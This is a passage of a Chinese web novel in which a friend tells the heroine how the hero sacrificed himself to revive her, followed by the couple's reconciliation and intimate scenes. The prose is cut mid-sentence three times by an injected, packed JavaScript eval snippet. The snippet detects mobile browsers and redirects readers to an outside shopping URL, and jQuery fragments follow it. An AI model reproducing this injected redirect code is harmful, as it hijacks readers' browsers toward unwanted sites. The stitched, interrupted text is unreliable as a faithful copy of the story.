“宿恒心心念念的是要把真正的炼魂鼎找回,他以为炼魂鼎能指引他找到梦中人,而这梦中人会出现在大容,所以他一定要把这片土地掌握在自己手中。照原本计划,他只是想取回炼魂鼎消了结界,让钟雄率军占领大容完事了。谁知从取回炼魂鼎到结界消失的那段时间里,没了神明大宫镇守的蛊毒随海登陆,宿恒不得不亲自处理。而他赶回万丈城时,就见城池尽毁,一团火球正在攻击皇崖塔。他早就把真正的炼魂鼎放入皇崖塔内,所以情急下才一箭射向火球。栖真,那时他真不知道火球里的是沈兰珍。若知道,他绝不可能射出那一箭!” 戦星流唏嘘道:“可惜大错已铸。沈兰珍死后,他眼睁睁看着你神识离体,被炼魂鼎吸去,幻化成焰。火焰中出现你的身影,我是说你现在的模样。那时宿恒才恍然大悟,才知沈兰珍就是他要找的人,才意识到你的神识就附在她身上。我将血蛊之祸收拢回城,才知他抱着沈兰珍的尸体在太子殿关了三天三夜。我们也不清楚那三天三夜他到底在做什么。但三日后,他把活回来的小包子抱出来,然后亲自把沈兰珍葬在了皇崖塔边。” “你没看到他那时的样子……”戦星流顿了很长时间,像在平复情绪:“反正,反正那时我们夜不敢寐,生怕宿恒垮掉。但他没有!我们不知道他凭什么撑下来的。开始几年,我以为他是为了凡心,因为他待凡心比亲子还亲。直到去年我们才知晓真相。宿恒他,他竟以魂饲鼎,用自己的神识给炼魂鼎提供能量,硬生生将你魂飞魄散的神识慢慢拼凑起来。用了整整五年,把他自己熬到油尽灯枯,才换得你的重生。五年里他把神识切割,掰碎,不啻凌迟。所以后几年,为了不让凡心察觉他日渐衰弱之像,赶孩子出去历练。而凡心回宫,宿恒也尽量避开。若避不开,也只推说自己微恙,将他瞒得滴水不漏。” “可他一直在安排自己身后事。你回来那日,宿恒就感知到了,只是不知你具体身在大容哪处!他猜你一定会去万丈城找凡心,所以那日后,所有的城关都取消身验,一律放行。宿恒又怕他和凡心在宫中,你进不去,特意带凡心去神龙庙,就祈望你能找来。谢天谢地,你真地去了!” “可那一日,你好像一点都不愿见他,而宿恒自知大限将至,只好急中生智,让凡心跟你说要外出历练,而他则借机附在小白身上伴你一路。那日深夜我御剑将小白接回,实在是因为他那口血吐的,把最后的精气都消耗殆尽了。我带他回去时他只剩半条命。可他为了再救你,将那最后半口气化作……啊,后面这些,我之前跟你说过……你都知道了。” 至此,戦星流有些说不下去,仿佛那些事还历历在目,让人痛心又无力。 他缓了一下才道:“宿恒今日说你怪他骗你,是,他是骗你太多。他最怕的是你知道他为你做过什么而背负愧疚,所以让我们怎么都要瞒着你。其实他也不明白你是怎么以为他要大婚的,但你既然这么以为了,他只好顺着说。据我所知,宿恒是一直叮嘱袁博等你醒后,尽快带你回大容的。他给你留了十二封信。那些信现下还在我府中,他嘱我每月月首给你寄一封,便能争取一年时间,让你以为他还活着。他想的是你即便对他有几分情,但一年疏离,你再知他死讯,总比你们刚分开便知好太多。他甚至怕你太聪明,嗅到蛛丝马迹来对质,或问起那要完婚的心上人我们无所适从,还一一写下说辞,以备我们不时之需。” “栖真,那几日你在府上,我实在应付得焦头烂额。我们是真没想到你竟能把宿恒找出来,还提出要见慕真。我……我和慕真都慌了神,连夜翻宿恒手稿,生怕第二日穿帮。我那时觉得应该是没穿帮的。谁知后来你说走就走,直上驼暮山去了。我想来想去才后知后觉地发现,你大概就没信过我们演的这出戏,是不是?” 他问的是栖真,接腔的却是慕真:“一定是啊,我自己都觉得演得不好。” 两人时刻注意听者反应,可栖真不知是沉浸在这番叙述里还是怎的,一直没出声。 戦星流惴惴道:“再之后,就是五天前吧,我去密室看宿恒,他忽然活过来!他醒来第一件事就是入大荒流找你。还好,还好,终于在这里找到你。”他长叹口气:“唉,你俩实在是……今日见他那紧张劲,我就想说,你俩别折腾了好吗?在一起好好过吧,行吗?” 话落,岸边一时寂静。 半晌,才听一个声音干脆道。 “行!” 慕真抹泪,欢喜拍手:“苦尽甘来!苦尽甘来!以后无灾无难,平平安安!” 故事终于述完,戦星流心里一松,回身搂住慕真肩,看向对面道:“你俩不在一起天理难容!宿恒是个神仙,你也是。过好自己的神仙日子,我们这些凡人看着就心甚慰了。” 见栖真除了一声“行”,似乎没啥要问,戦星流试探道:“栖真,适才那个问题,我是真好奇,我们一路做了那么多,可曾有过穿帮?你二上驼暮山前到底怎么想?” 谁知栖真问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13095725|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“宿恒的事,讲完了?” 戦星流眨眼:“讲完了啊。” 栖真道:“他今日带你来,路上是不是耳提面命,让你知无不言,言无不尽?” “是啊!”戦星流点头。 栖真道:“可有一桩,世子还没讲。” 戦星流疑惑:“哪桩?” “聂灵鸢。” 戦星流如遭雷击,待反应过来,你你你你了半天。 栖真温和道:“慕真演的没问题,只不过我在见她前,已经猜到她可能是假扮的。” 这下不仅戦星流,连慕真都吃惊。 “你怎么猜到?” 栖真道:“世子还记得那日去见慕真前,我央你亭中坐,画过一个表格吗?” “记得啊。” “我问聂灵鸢知道炼魂鼎的事吗?”栖真道:“当时你回答说‘知道’,后面才改口说‘不知道’。” 戦星流尴尬笑起来:“这出我记得,栖真别诓我,当时我可没说知道。” “你没说全,只冒了一个字,知。” 戦星流啊一声:“一句口误,又打什么紧?” 栖真道:“我通篇想问的,也只有这一个问题。” 戦星流……… “那我就算说了一个‘知’,又代表什么?” “你以为我把表格问完了,正是放松下来时。”栖真道:“此时我忽然问起聂灵鸢,你的第一反应,很大程度就是真相。” 戦星流惊了:“可这些都是你的推测!” “是,所以我回去找灵鸢求证了。” “不会吧,她不可能……” “当然不可能直白跟我说。”栖真道:“我只是说了一句——凭什么慕真死了,宿恒可以用炼魂鼎把她救回来;子鉴死了,你可以用回生露把他救回来,只有宿恒死了,我们却什么都做不了?” “这句话有什么问题?” “话没问题。问题在于既然灵鸢不知道宿恒用炼魂鼎救人,我这般说,她为何没表现出一点惊讶?她还回我,陛下用炼魂鼎救人是他心甘情愿。” 戦星流诧异地合不拢嘴:“你套她话?” “你们严防死守,我不套,又怎知真相?”栖真道:“因为你的反应,我才想到去套灵鸢。若她的身份、麒麟穴都是假的,那黄金哪儿来的?只可能是宿恒留给我的,灵鸢根本就是他的人!他们合演一出绿林大盗的戏码,就为了把财富顺理成章送我。” “可、可这不代表慕真一事是假的啊!”戦星流对她见微知著的本事叹为观止,但仍想鸡蛋里挑骨头。 栖真哼一声,似笑非笑:“宿恒向来一心一意,他用一个麒麟穴表了心意,我既知道了,又怎会再信他有别的心上人?” “况且慕真说了一句,宿恒给她留了十辈子都用不完的财富。麒麟穴何其贵重,是宿恒全副身家吧。既给了我,又怎会像慕真所说,再给她留什么十辈子的财富?所以,是的,我跨出王府时,已然猜出真相了。” “你、你单凭我亭中一字口误,就推出后面所有这些?” 栖真道:“一个字,够了。” 戦星流想捶胸顿足:“既然你早知他心上人是你,那你今日这出又是为何?” 慕真怪自己夫君不解风情,嗔道:“夫妻情趣呢,不懂?” 栖真原本一直靠着大石,聆听过程没有稍动,此时却站起,到戦星流面前行个大礼。 他哪敢受,忙扶起:“栖真如此做甚?” “世子对宿恒一片赤诚,经年维护帮衬,栖真真心感激。”她郑重道:“可下次,若他还要你们联手骗我,请直接拒绝!我不是温室里的花朵,承受得起风雨。经此一事你也看到,我多少有些护着他的能力!宿恒心思重,不让他明了我的态度,将来他遇事还是照旧。” 换句话说,今日不凶他一凶,怎么改变他的思维模式?人舍身相救,她愿用一辈子来报,可他至死不认爱,她无法接受。 栖真心里狠狠喟叹,很想说星流啊,你可知为着你们联手欺骗,差一点我就来不及救人。 只剩最后七十二小时! 若她没发现珠子,没赶去乾都,没找到密室,没质疑灵鸢……若她对他们的故事全盘接受,任何一个环节延误哪怕一点,最后,她都可能来不及救回风宿恒。 那才是真正的遗憾! 才让她抱愧终生! 可真相说出来太伤人,为着他们对宿恒的赤诚,为宿恒那片感天动地的心意,这些秘密她会烂在肚子里。 戦星流受的打击确实有点大,回山巅时拍了拍风宿恒的肩,哑口无言,临走前对他耳语:“千万记着,别再动心思骗你媳妇儿,最好一个字都不要有!” 言尽于此,挥挥袖带慕真走了。 141. 第 141 章 月光融融,山顶只剩风宿恒和栖真两人,一时面对面沉默。 一方是等待宣判的惴惴不安,一方是更为复杂的心烦意乱。 在静默里,两人同时开口: “一直是你!” “饿吗?” “不饿。”风宿恒含笑,抢答道:“一直是你!” 栖真问:“累吗?” “不累。一直是你!” “困吗?” 风宿恒揽上栖真肩,她肩上披风还是冬日里的厚式,足以抵御春寒料峭,可他揽住的动作总是不经意把她护在怀里,仿佛不这样她就冻着了。 “不困。”他又道:“一直是你!” “我养鹦鹉了吗?”栖真道。 风宿恒低笑:“不饿不累更不困,我只想你明明白白知道,我的心上人一直是你。栖真,现下你明白了吗?” “宿恒,就算你不饿不累不困,现在也跟我回去睡觉好吗?”栖真不想今晚继续这个话题了,他身上还带着御剑的风霜,脸上还有奔波的倦意。 “跟你睡觉是早晚的,但不是今晚。”风宿恒道:“你太能跑,今晚不说明白,我睡不着。” 他圈住她腰,央求道:“答我一句吧,真真。” 栖真曲腰,稍稍后仰,视线描绘着近在咫尺的眉、眼、鼻、唇、下巴……哪处不令她心动? 大容时,这张面容在她面前大多是冷然淡定;山庄重逢后笑容才多起来,如今这张脸和冷漠彻底绝缘,展现着温柔、喜悦、专注,甚至讨好。 “明天好吗?”栖真道:“明天答你!” “不行。”风宿恒道:“不行。” 她想再好好想想的,可一晚时间他都不肯给,她便觉得不说点心里话都对不住他的急切,于是把疑问道来:“宿恒,梦到一个人,为何就是爱呢?” 她也有梦,理解一个人对梦境可以执着到什么程度,但她觉得因梦生爱这件事,逻辑有缺。 “爱从了解开始、是心动、是欲望、是飞蛾扑火不顾一切。对一个只出现在梦里的形象,谈得上了解、心动、有欲望吗?”栖真眼中纠结,混合着迷茫:“宿恒,你爱的,真的是‘我’吗?” “听完星流说你如何一路走来,我很难过,也很感动。”栖真吸了口气,语气甚至透着危险的“结论”,“但……我忍不住会想,当你十岁抗拒行礼,十年艰苦成长时,你是基于爱‘我’吗?爱一个根本不知身份、不知是否真地存在、不知有没有可能得到的‘我’?” 风宿恒静静听完,道:“不回营地了,我们找个地方坐下说。” 抱她掠回河边,靠山壁坐,拉了栖真坐到他大腿上,再次将人圈进怀里,让她面对面靠着他胸膛。 这般说话就舒服多了。 风宿恒这才继续道:“我知你怎么想。你怕我混淆自己的心意,错将对梦境的执着当成人间的爱欲。” “那你觉得见到一个人便心神荡漾、神魂颤栗、朝思暮想,是不是爱呢?”他亲了亲她的发:“从小到大,我没遇见过任何一个人,让我有这种感觉,只有梦中的你。” 这么一说,栖真问题就更多了。 可风宿恒一指抚上她的唇,即像拨弄,又像点绛,实际是不让她启口,只想让她听他说。 “那一年,宫里有教礼嬷嬷的,我不是不通人事,知道怎么行齐鸾礼,可一想到去亲近别的女子,认识或不认识,我就冒冷汗,觉得恶意。好像真做了就是背叛,梦中的她会哭泣。是,那时我确实年幼,可我就是这么想的。之后很多年,我也从未对身边哪个女子……哦,我身边也没什么女子……我是说对任何姑娘有过那种神魂颠倒的感觉。相反,随着年岁渐长,我也有欲望,全数给了她。只要梦到她,我便冲动,便遏制不住。” “我不是没碰过女人。出任务时,为了取得那些贵戚的信任,不得已也会扮做角色,跟去烟花之地。有次也抱过赤/裸的女子,可抱着又如何?不还是心如止水?没生出半点想触碰的冲动。最终冒着任务失败的风险急速退去,可回去入了梦,见到她,我又忍不住。” 风宿恒再次亲她发间,动作自然:“栖真,你说我对梦中人的感觉,算怎么回事呢?” “可是……” 栖真出声,被抬起下巴吻住,湿润的舌直接伸进去翻搅,可这次只是浅尝即止,风宿恒退出后在她唇边轻啄两口:“其实你最想问的是,我怎知梦中人是你。” “你怕我爱的不是你,而是自己的幻想,是吗?” “这事难以启口,但得让你知道。”风宿恒帮她抹去唇边水渍:“我对沈兰珍……也有欲望。很奇怪,自从进入大容梦便少了,取而代之是我从城墙上接住跳下来的沈兰珍,看一眼我就奇怪,好像她是什么可亲之人。这感觉很浅淡,对我来说却从未有过。” “和兰珍相处很有意思,渐渐地,我会去想她在做什么,图什么,打坐会否睡着,还给不给我煲汤。去神明大宫那路,她实予我太多惊奇和震撼。冰海上她贴身相救,我就……” “栖真,我发誓,我从未对谁这样过,但那一刻,我忽然就那样了!” 栖真彻底囧了。 风宿恒说的那个场景,她其实知道的。 当时顶着她的坚硬触感,忘都忘不掉。 原来不是错觉,他确实…… 风宿恒从栖真又想把头埋入他胸口的动作里看出端倪,有点坏地把人挖出来,“其实你早就知道?” “不知道!”栖真差点惊跳。 这有什么好问的呀?男人恶劣起来是真恶劣。 “不知道?”风宿恒俯身,像冰海孤舟那晚一样压低声音,让人浮想联翩的声线再次出现,小刀在玻璃上划的感觉又回来了。栖真尾椎刺痒,一路通向大脑。 想躲,可躲哪里都有风宿恒凑在耳边。 “真不知道?”她越闭嘴,他越引诱:“真真真不知道?” “真真真真真不知道?” 栖真被逗坏,出了一声娇俏的鼻音。 风宿恒满意了,这才放开,攫住她愤怒的拳头,好笑地亲了一下:“那么凶?不说了。” “我求你说呢?”栖真冷脸。 风宿恒求饶:“是我求你听。” 便把人抱好,继续说。 与适才调笑不同,再开口,风宿恒又恢复认真模样。 “海上回来后我很想不明白,兰珍非我梦中人,怎能放任自己对她有感觉。我惶恐又矛盾,整日想要远离。可离又离不开,尤其在炼魂鼎验出小包子居然和我是血亲后,疑惑升到顶点。而兰珍出走,更让我迷失自己,没意识到就做了些……怎么说呢,事后想想,都觉得不可思议的事。” “曾经梦中才有的牵念和欲望,在现实里变得鲜活,我实在有愧,觉得背叛,又忍不住挂念。直到得知她便是你,你便是她……这五年里,我终于想明白这个问题,我没有背叛!只要是你,梦中也好,现实也罢,兰珍也好,栖真也罢,无论以何种面貌出现,就是我的命定!” 栖真闻言一激灵,脑中冒出个奇怪的念头。 只要是我? 问题是,我是谁呢? 她还在浅浅地想,风宿恒却没停口:“感恩上苍,五年后你回来了。这次是你,梦里的你,真正的你。见你的第一眼我便知道,感觉没有错。” 见她的第一眼?栖真想了想:“城门口?小白?” 谁知风宿恒摇头:“神龙庙那晚,飞阁上。” 栖真一愣,倏忽想起来。 巨型闪电下,她确实在飞阁上见过一道人影,当时吓得她魂飞魄散。可从廊柱后探头,人影便不见了,害她以为眼花。 “原来是你!”栖真没好气道:“站那儿干嘛?存心吓人吗?” 风宿恒道:“等你。” 她不会知道,那一晚他到底怀着怎样的心情在庙中等她。 等他有生以来夙夜常伴的梦中人,等他初心懵懂情不自禁的邂逅人,等他呕心沥血换命救回的心上人。 果然,栖真想不到那么深,她只是觉得好奇又好笑:“就那风雨夜,一道闪电,照见我一瞬,你就有感觉啊?” “不是一瞬。”风宿恒道:“我看着你翻墙进来的。” 栖真想以手扶额,以为自己行迹藏匿多好,谁知早被照了X光。 “行吧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13114248|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反正我什么狼狈样子你没见过。”栖真躺平了:“这一眼都能有感觉,服了你。” 风宿恒嘴边噙笑:“你偷摸进来的样子,和沈兰珍一模一样。” “哦,你梦里的我也这么偷偷摸摸?”栖真问。 “不。” “你梦里的我什么样?” “会对我笑。” “笑?”栖真觉得不可思议:“笑了几十年?” “当然不是。”风宿恒道:“你会在石头上画画,将火焰玩得很溜,坐在栏杆上吹风,流着口水睡觉。” 栖真呆了,她在他梦里超能又傻逼? “真会梦啊。”栖真看天:“可我不会玩火,睡觉也不流口水,你确定梦里的是我?” 问题又绕回来了。 “又凶又拽,又羞又软,不是你吗?”风宿恒居然反问。 “我们在探讨问题!”栖真叫道。 没让你说情话! 况且什么又凶又拽? 听起来就不是好话! “我能错认?”风宿恒道:“神龙庙见了你,脸是梦中的脸,性格却是沈兰珍的性格,如此完美地合二为一。” 他忽然附耳下来:“你知道吗?那一路,小白都会对你情不自禁。” “情不自禁?”栖真一时没听懂。 但很快,她便领会风宿恒的意思,谁叫她常常抱着小白取暖,夜夜抱着睡觉。 风宿恒现出促狭的神情,“小白都这样,何况之后的我。那两月虽非本体,感觉却实实在在。栖真,你想不想知道我每日马车里和你相对,在想什么?” 栖真捂住他嘴:“不想。” “不是疑我吗?怕我搞不清梦境和现实,怕我爱的不是你!”风宿恒一把拿下她手:“那我就明明明白告诉你。” 他在她耳边低语:“想干你。” “想干你,想要你,想…….” 栖真惊跳起来,离开他的腿,捂住耳朵想逃开。可风宿恒眼疾手快,又把她拉回来,返身压在岩壁上:“听着,栖真!别质疑我对你的感觉,我不糊涂,知道什么是爱,什么是欲,更清清楚楚地知道,我要的就是你!” 他索性把整个身体压向她:“就像这样,感觉出来吗?我对你从来都是如此!” 栖真惊骇了,若说海上那次只是蜻蜓点水,一个模糊的触感,那现下真真实实顶着她的,她能抵赖说没感受到? 全乱套了。 “不……”除了带着哭腔的鼻音说出一个没有意义的字,她竟不知吐什么字眼好。 “不什么?”风宿恒道:“我尊重你,敬爱你,爱你,可我更想撕碎你。再来问我心上的是不是‘你’,试试吧,看我饶不饶你!” 大概栖真无语太久,风宿恒逼迫道:“说话。” “说什么呀……”栖真哭腔明显,虚弱抗议。 “说知道了。”风宿恒命令:“知道我爱的就是你。” “宿恒……”栖真被逼得热汗涔涔。 “说!” “……那么凶吗?” “这就凶了?”风宿恒哼笑:“你以后要怎么办?” 栖真真地流泪了:“不办了,不要了。” “办吧。”风宿恒拇指抚上她的唇,低喃:“今日得说,不说直接办了。” “知道了。”栖真投降。他欺负人,她投降地甘愿又不情愿。 “知道什么?”风宿恒明知故问。 “知道你爱的是我。”栖真举白旗:“不是旁人!是我,是我,是我,行了嘛?” 风宿恒低头吻她,激烈地吻,哪还有什么浅尝即止!舌头在嘴中所到处根本是生吞活剥。 吻三次了,他一次比一次熟练,一次比一次能耐。男人在这方面的本能一向很会自动升级,他于修炼是个中翘楚,于此,也无师自通。 栖真昏昏沉沉地想,原本还有很多问题要问,今晚她真地特别伤感、想哭,心更是疼地像被巨石沉甸甸压着,喘不过气。可现在……还要问什么已经忘了,她更想哭了,而沉甸甸压着她的巨石,根本推不开。 至于喘气…… 不用了,已经没气了。 142. 第 142 章 终究要放开的。 给她机会喘气,理智就回来了。 风宿恒今晚兴师动众叫人来,急着澄清,急着盖章,那她想要的那些,好像也不用跟他客气。 “你爱的是我,一直是我,我知道了。”一回生、二回熟,再说栖真就不羞了,不仅不羞,还带着几分理直气壮:“那你说,我是你什么人呢?” 风宿恒也在喘,他被自己的热情骇到,带着一股这还用问的神情:“爱人……伴侣……孩子他娘!” 栖真……… 孩子他娘都出来了,太跳了……. 双手搭上风宿恒的肩,栖真收起春心荡漾,无比认真地看着他:“爱侣之间,除了忠诚,是否也要坦诚?” 风宿恒一听“坦诚”两字,就知要坏。什么不知他心上人是谁,闹了半天,栖真心头也就不过这么一句。 “当然,要坦诚,必须得坦诚。”风宿恒从善如流:“那不,之前还没成为爱侣吗?” “呵,没成爱侣,所以拉上所有人瞒着、骗着、一句实话都不给?”手抚下,抓住他衣襟,栖真愤恨道。 她兴师问罪的样子很激动,憋了满腔话似的,这委屈风宿恒懂,正因为懂,他不能让她受这个罪。 “慢慢说。”他坐下来,重新拉栖真入怀,一副倾听的样子:“我听着。” “那时瞒得滴水不漏,是因为你觉得我不喜欢你,所以不想打搅……”栖真没注意背后有只大手在安抚般轻拍,她只是急切地想弄明白他怎么想:“还是你明知我喜欢你,怕我承受不起?” “那一路就没敢奢望。”风宿恒坦诚道:“说出来,得你两月情意,然后呢?留你独自伤心?栖真,那我成什么人了?” “可我不这样想!”栖真道:“你不否认有心上人,也不否认要回辛丰完婚,可你想过我的感受吗?在花家听到你为她做嫁衣,听袁博说婚期就在四月里,我不痛苦吗?一想到你要娶别人,我饭也吃不下,觉也睡不着。两个月,你坐马车里想干我,我呢?我就知道一件事!就是不能让你知道我的心,不能给你添麻烦。你们情比金坚,我又算什么呢?” “是,你不想拖累!可我早晚会知道呀。当我知道你不在的那一天,是该庆幸我们没在一起,还是遗憾怎么就没让你明白我的心意?不告诉,我痛苦;告诉了,我也痛苦。可两相比较,我更不想留有遗憾,更不想你没机会听一句我爱你!” “宿恒,别低估我的智商,也别低估我的承受力,我也可以保护你!下次再碰到困难,跟我说,我们一起想办法好吗?” 河边静下来。 轻抚已然不够,风宿恒把人搂进怀,由上至下摸着她的背脊。 “原来真真这么爱我。”他忽然笑出声。 “别打马虎眼。”栖真追问:“承诺呢?” 风宿恒这才收起笑,很有些严肃道:“你说得对,爱侣间需要坦诚。只要你提,我便做到。” 栖真终于放下心,想说既然你答应,那我也坦诚,有些事得告诉你…… 谁知风宿恒半掩其口,道:“我能坦诚的是,这事重来一次,我仍会这么做。” 栖真………… “你是说,再来一次,你还会骗我?” “‘骗’多不好听啊!”风宿恒爱怜地撸她后脑勺:“护你周全而已。知你聪慧异常,无比坚强,可护你周全是我毕生执念。” “只要我提便做到!”栖真吼道:“刚谁说的?” “做到啊!但凡不涉生死,自然事事坦白,件件依你。”风宿恒见她发际有几缕细巧可爱的额发,想凑上去亲。 栖真气地拨开他脸。 敢情刚才长篇大论,全说了个寂寞? 风宿恒这才低头凝视她,“扮容聘、附小白、做傀人时各有顾虑,如今这个才是真正的风畅,你早晚要认清。” “……总得是个好人吧?”栖真哀嚎。 “星流跟你说我好人吗?”风宿恒只觉好笑:“好人能攻城略地?好人能作天作地?” 栖真嘴角抽了抽。 “不急,一辈子还长,慢慢认识。”风宿恒手又触上她脸颊,得逞般亲了口不给亲的发际。 栖真从他腿上翻下去,坐到一边,并排靠着石壁。 “要我坦诚,坦诚了你又不高兴。”风宿恒叹气:“心意相通便好,事事道尽反而不美。我若答应才是骗你。我可以为你赴汤蹈火,你不能为我擦破油皮。我生来只此一个执念。一人能担的,何必两人不痛快?” 身边一时没了声音。 风宿恒瞥眼,见栖真抬头望月,神情很有些惆怅。月亮快要隐去,黎明即将到来。他修炼之人,怎样都挺得住,就怕她熬夜疲累,这便道:“回去睡?” 可栖真不知在想什么,有点入神。 风宿恒问:“毡帐给人了?” 栖真点头。 许是她徒然的沉默让风宿恒有些意犹未尽,便道:“天快亮了,那猫窝不睡也罢。靠着我闭会儿眼,天亮送你回去,我下山弄东西。” 想了想,又补充道:“现下咱俩回去,万一弄出声音,被听到了反而让人乱想。” 说着抱住栖真看她睡,少顷,见怀里纤长睫毛还在扑朔,便轻声道:“真真说要保护我,不是做到了吗?我的命都是你救的。” 睫毛不扑朔了,过了会儿才听怀中道:“……没救。” 风宿恒一愣,没救? 在密室醒来星流就说是栖真救的他,之后全幅心思放在找人上,他都没功夫多想。 等找到人,至今才一日两夜。先是遇到容绽他们,之后是下山弄东西,找星流来解释,无一刻停歇,以至于到现在他都没机会问问,她到底是怎么救得他。 可她说,没救? “那我怎么活的?”风宿恒诧异道。 怀里人闭着眼,似乎快要睡着了:“我也想知道啊。” 风宿恒见状,便不问了。 反正他回来了,这些事等睡足再问也来得及。 拂晓将至,风宿恒抬头看了会儿即将隐没的月,对新的一天充满期待。 又看向怀里静静睡着的人。本以为冰海孤舟上是最后一次,谁知老天眷顾,如今又能拥她入眠,听呼吸慢慢变得悠长,他自己都不察翘起的嘴角挂着怎样的幸福,只觉心都跟着万分柔软起来。 他们也算苦尽甘来。 等料理完九部相的事,兴许一个月或两个月,带这群人在山上自给自足,或找个城镇安顿,心意尽到,他和栖真便可抽身。 期间,正好让灵鸢筹备大婚。 他想好了,“复生”是早晚的!他会重上承乾坛夺回太子位,以辛丰太子和大容王的身份迎娶她。 而婚服是早就让花家备下的。 旁人或许不明白,他当初为何坚持要做婚服。说白了,不过为着他一点隐秘心思——那时觉得再没机会见栖真凤冠霞帔,便想悄悄送她一套婚服。即便嫁于旁人,好歹穿的是他做的衣裳。 风宿恒哂笑,怎么就让栖真发现他做婚服呢?还莫名让人飞醋一场。 等成了亲,他就带她四处优游,之前教她诸多风土人情总要一一亲历,而中土山河壮丽也要带她去见,想必对比她的家乡也不遑多让。 之后若栖真愿意,他们可以回大容。她懂得那么多,大可尽情畅想,无论从政还是经商,必能有番令人瞩目的成就。 一如他信中所言,达四海,亘古今,譬如重生,不枉异世来。 这样的人生,才是他的宝贝该拥有的。 风宿恒越想越激动,思想驰骋千里,不过一个时辰,连孩子们的名字都想好了。 栖真浅眠,待日光照目便自醒来。到水边洗把脸,昨晚那留尾的乌遭心情才算散去一些。 正掏出帕子擦脸,便听风宿恒在边上问:“你说不是你救的我?” “我被大风吹到这里,遇到絮回他们,之后就是你来找我。”栖真将帕子在水里浸湿,又洗了遍脸,道:“不是我。” 风宿恒端看水中倒影,觉得自己瘦得不好看,闻言道:“不是你又是谁呢?” “老天垂怜吧。”栖真耸了耸肩,倏忽想起一事:“得把洞底的字擦了,你名字在上面,被人看到不好。” 风宿恒侧首,见栖真润白的脸盘在晨光中娓娓动人,越发觉得相形见绌,问:“什么字?” 栖真睇他一眼:“明知故问。” 风宿恒回首不远处的地洞,他知道的也就那处,洞底还有文字?便道:“下去看看。” 栖真对那洞有些畏惧,可一想到让风宿恒单独下去面对一墙表白,她又有点不好意思,只好硬着头皮跟他下。 这洞对她来说是绝境,对风宿恒却像玩儿似的,他抓着藤蔓几个起跃,带人稳稳落地。 谁想他粗粗一扫,问:“哪里有字?” 栖真从他背上跳下来,奇道:“你不是看过吗?” “我何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13126636|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时看过?” 栖真满脑门问号:“没看过?那你怎知那个甘愿投降、晋升主宰的话?” 这便提醒了风宿恒:“是你写的吧?你用什么方法写到城墙上去的?” “城墙?”栖真眨巴着眼。 “朝阳城的城墙,我就是循着墙上的话,找到像墓碑、坟头和馒头的三峰,才找到了你。” 栖真惊骇了! “朝阳城?我不知什么朝阳城啊!”她道:“我以为是那日你下洞救我时看到的。” 见她满面惊色,风宿恒也讶然:“哪儿?” 栖真带他去看:“这儿。” 文字仍在。 碎石划上去的单薄线条,在泛着淡微晶光的洞壁上并不显眼,站到某个角度才能看见,是以风宿恒刚下来时没有注意。 “那日见了你,眼里哪还有别的。”风宿恒解释道。 “所以我写在这儿的字,你是在外面城墙上看到的?”栖真不敢置信。 两人面面相觑。 栖真忽然想到什么,声音抖豁:“除了你,还有谁看到了?” “袁博。” 栖真眼角微抽。 “朝阳城的百姓。” 老天啊! 大概栖真脸上青一片紫一片的神情太可爱太好笑,风宿恒真地笑出声:“写那么好,不怕人看。” ……我特么……. 栖真心里忍不住爆粗口。 临终私房话,心上人看到也就罢了,弄得人尽皆知要干吗? 火烧火燎的,上去就要拿帕子擦,却被风宿恒一把拦下:“急什么,再念一遍。” 栖真:“念?” 念你个大头鬼! 赶紧给我擦了! 谁知风宿恒把人拖后两步,生怕湿帕子抹上墙:“你念。” 栖真瞪他,眼睛不能更大。 风宿恒把她转过身面对洞壁,窃笑道:“念!” “不!”栖真拗不过他的劲儿,可声音里满是严正拒绝。 “念吧,好真真。”风宿恒又用害死人的声线在耳边作妖:“念给我听。” “不……” “肺腑之言我说一晚上了。”风宿恒胸口贴紧她背,连着她发力的双臂一起禁锢,“念一遍都吝啬吗?可怜见的,你都没说过爱我。” “我说了!” “没有。” “我写下来了。” “不算。”风宿恒鼻尖拱上珠玉般的耳垂,诱惑的声音钻进耳蜗,“想听你念。” “不要……” 风宿恒舌尖舔上,惹来栖真一声惊叫。她耳朵敏感,呵口气上去都受不了的程度,如今被湿濡的舌舔舐,人彻底炸毛,竭力偏头躲。 可怎么躲得过? 风宿恒追去,一口含住半只,用唇齿抵住,对着软肉肆无忌惮起来。 栖真浑身酥麻,鼻尖哼声不成样。可洞中回荡的声音越不成调,舌愈凶猛往里钻。实在弄到腿软,她不得已念起来:“过去……你问我……想过怎样的生活,啊……” 以为念了就能被放开,谁知太天真!话出口生生催情,风宿恒呼吸浓重,咬耳低喃:“继续,别停。” 